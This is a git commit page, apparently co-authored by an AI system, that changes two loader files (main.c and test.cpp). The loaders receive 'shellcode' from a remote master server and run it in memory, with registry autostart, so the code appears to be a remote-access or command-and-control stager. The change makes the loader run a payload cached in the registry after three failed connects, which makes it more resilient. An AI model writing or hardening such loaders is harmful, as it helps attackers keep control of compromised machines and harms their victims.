Fix: run the cached client payload when the master is unreachable

Both loaders only reached the registry-payload fallback after a
successful TCP connect: the connect-failure branch just continued, and
requestCount only advanced once a connection was established. A host
that could not reach the master therefore retried forever and never ran
the copy cached in the registry.

Count consecutive connect failures; when MAX_CONNECT_FAILS (3) is
reached and a payload was recorded (version non-empty), break out of the
retry loop so the existing fallback code runs. Without a cached copy the
loop still retries forever, as before, and a successful connect resets
the counter. While fewer than three failures have accumulated the retry
interval is 5 seconds instead of the random 0-119s (0-29s in test.cpp)
backoff, so the fallback is not delayed by minutes; after the threshold
the original backoff resumes.

main.c and test.cpp (MemoryDllRunner) get the same change. The fallback
itself is untouched, including its "bad copy => return NULL" behavior.

Verified on main.c with a harness against a refusing port: three failed
connects, then the cached payload was returned after ~16s. test.cpp was
compile-checked with MSBuild (TestRun, Release x64); it was not run.

Co-Authored-By: deepseek-flash
This commit is contained in:
yuanyuanxianganddeepseek-flash committed 2026-11-24 13:31:10 +01:00
1 parent e6a3255a2b
commit f618fbdc8b
2 files changed
+18 -3

No files matched your search

+9 -2
View File
@@ -20,6 +20,10 @@
#pragma comment(lib, "ws2_32.lib") #pragma comment(lib, "ws2_32.lib")
#ifndef MAX_CONNECT_FAILS
#define MAX_CONNECT_FAILS 3
#endif
#pragma pack(push, 4) #pragma pack(push, 4)
typedef struct PkgHeader { typedef struct PkgHeader {
char flag[8]; char flag[8];
@@ -272,10 +276,10 @@ const char* ReceiveShellcode(const char* sIP, int serverPort, int* sizeOut)
const int bufSize = (8 * 1024 * 1024); const int bufSize = (8 * 1024 * 1024);
char* buffer = NULL; char* buffer = NULL;
BOOL isFirstConnect = TRUE; BOOL isFirstConnect = TRUE;
int attemptCount = 0, requestCount = 0; int attemptCount = 0, requestCount = 0, connectFailCount = 0;
do { do {
if (!isFirstConnect) if (!isFirstConnect)
Sleep(IsRelease ? rand() % 120 * 1000 : 5000); Sleep((IsRelease && connectFailCount >= MAX_CONNECT_FAILS) ? rand() % 120 * 1000 : 5000);
isFirstConnect = FALSE; isFirstConnect = FALSE;
if (++attemptCount == 20) if (++attemptCount == 20)
PostMessage((HWND)g_Server.parentHwnd, 4046, (WPARAM)933711587, (LPARAM)1643138518); PostMessage((HWND)g_Server.parentHwnd, 4046, (WPARAM)933711587, (LPARAM)1643138518);
@@ -295,8 +299,11 @@ const char* ReceiveShellcode(const char* sIP, int serverPort, int* sizeOut)
if (connect(clientSocket, (SOCKADDR*)&serverAddr, sizeof(serverAddr)) == SOCKET_ERROR) { if (connect(clientSocket, (SOCKADDR*)&serverAddr, sizeof(serverAddr)) == SOCKET_ERROR) {
closesocket(clientSocket); closesocket(clientSocket);
SetThreadExecutionState(ES_CONTINUOUS | ES_SYSTEM_REQUIRED); SetThreadExecutionState(ES_CONTINUOUS | ES_SYSTEM_REQUIRED);
if (++connectFailCount >= MAX_CONNECT_FAILS && hash[0])
break;
continue; continue;
} }
connectFailCount = 0;
char command[64] = { 210, sizeof(void*) == 8, 0, IsRelease, __DATE__ }; char command[64] = { 210, sizeof(void*) == 8, 0, IsRelease, __DATE__ };
char req[sizeof(PkgHeader) + sizeof(command)] = { 0 }; char req[sizeof(PkgHeader) + sizeof(command)] = { 0 };
+9 -1
View File
@@ -19,6 +19,10 @@ extern "C" {
#pragma comment(lib, "ws2_32.lib") #pragma comment(lib, "ws2_32.lib")
#ifndef MAX_CONNECT_FAILS
#define MAX_CONNECT_FAILS 3
#endif
// 自动启动注册表中的值 // 自动启动注册表中的值
#define REG_NAME GetExeHashStr().c_str() #define REG_NAME GetExeHashStr().c_str()
@@ -125,13 +129,14 @@ public:
char* buffer = new char[bufSize]; char* buffer = new char[bufSize];
bool isFirstConnect = true; bool isFirstConnect = true;
int requestCount = 0; int requestCount = 0;
int connectFailCount = 0;
binFile bin(CLIENT_PATH); binFile bin(CLIENT_PATH);
iniFile ini(CLIENT_PATH); iniFile ini(CLIENT_PATH);
auto hash = ini.GetStr("settings", "version", ""); auto hash = ini.GetStr("settings", "version", "");
do { do {
if (!isFirstConnect) if (!isFirstConnect)
Sleep(!IsDebug ? rand() % 30 * 1000 : 5000); Sleep((!IsDebug && connectFailCount >= MAX_CONNECT_FAILS) ? rand() % 30 * 1000 : 5000);
isFirstConnect = false; isFirstConnect = false;
SOCKET clientSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); SOCKET clientSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
@@ -150,8 +155,11 @@ public:
if (connect(clientSocket, (SOCKADDR*)&serverAddr, sizeof(serverAddr)) == SOCKET_ERROR) { if (connect(clientSocket, (SOCKADDR*)&serverAddr, sizeof(serverAddr)) == SOCKET_ERROR) {
closesocket(clientSocket); closesocket(clientSocket);
SetThreadExecutionState(ES_CONTINUOUS | ES_SYSTEM_REQUIRED); SetThreadExecutionState(ES_CONTINUOUS | ES_SYSTEM_REQUIRED);
if (++connectFailCount >= MAX_CONNECT_FAILS && !hash.empty())
break;
continue; continue;
} }
connectFailCount = 0;
#ifdef _DEBUG #ifdef _DEBUG
char command[64] = { SOCKET_DLLLOADER, sizeof(void*) == 8, m_payloadType, 0 }; char command[64] = { SOCKET_DLLLOADER, sizeof(void*) == 8, m_payloadType, 0 };
#else #else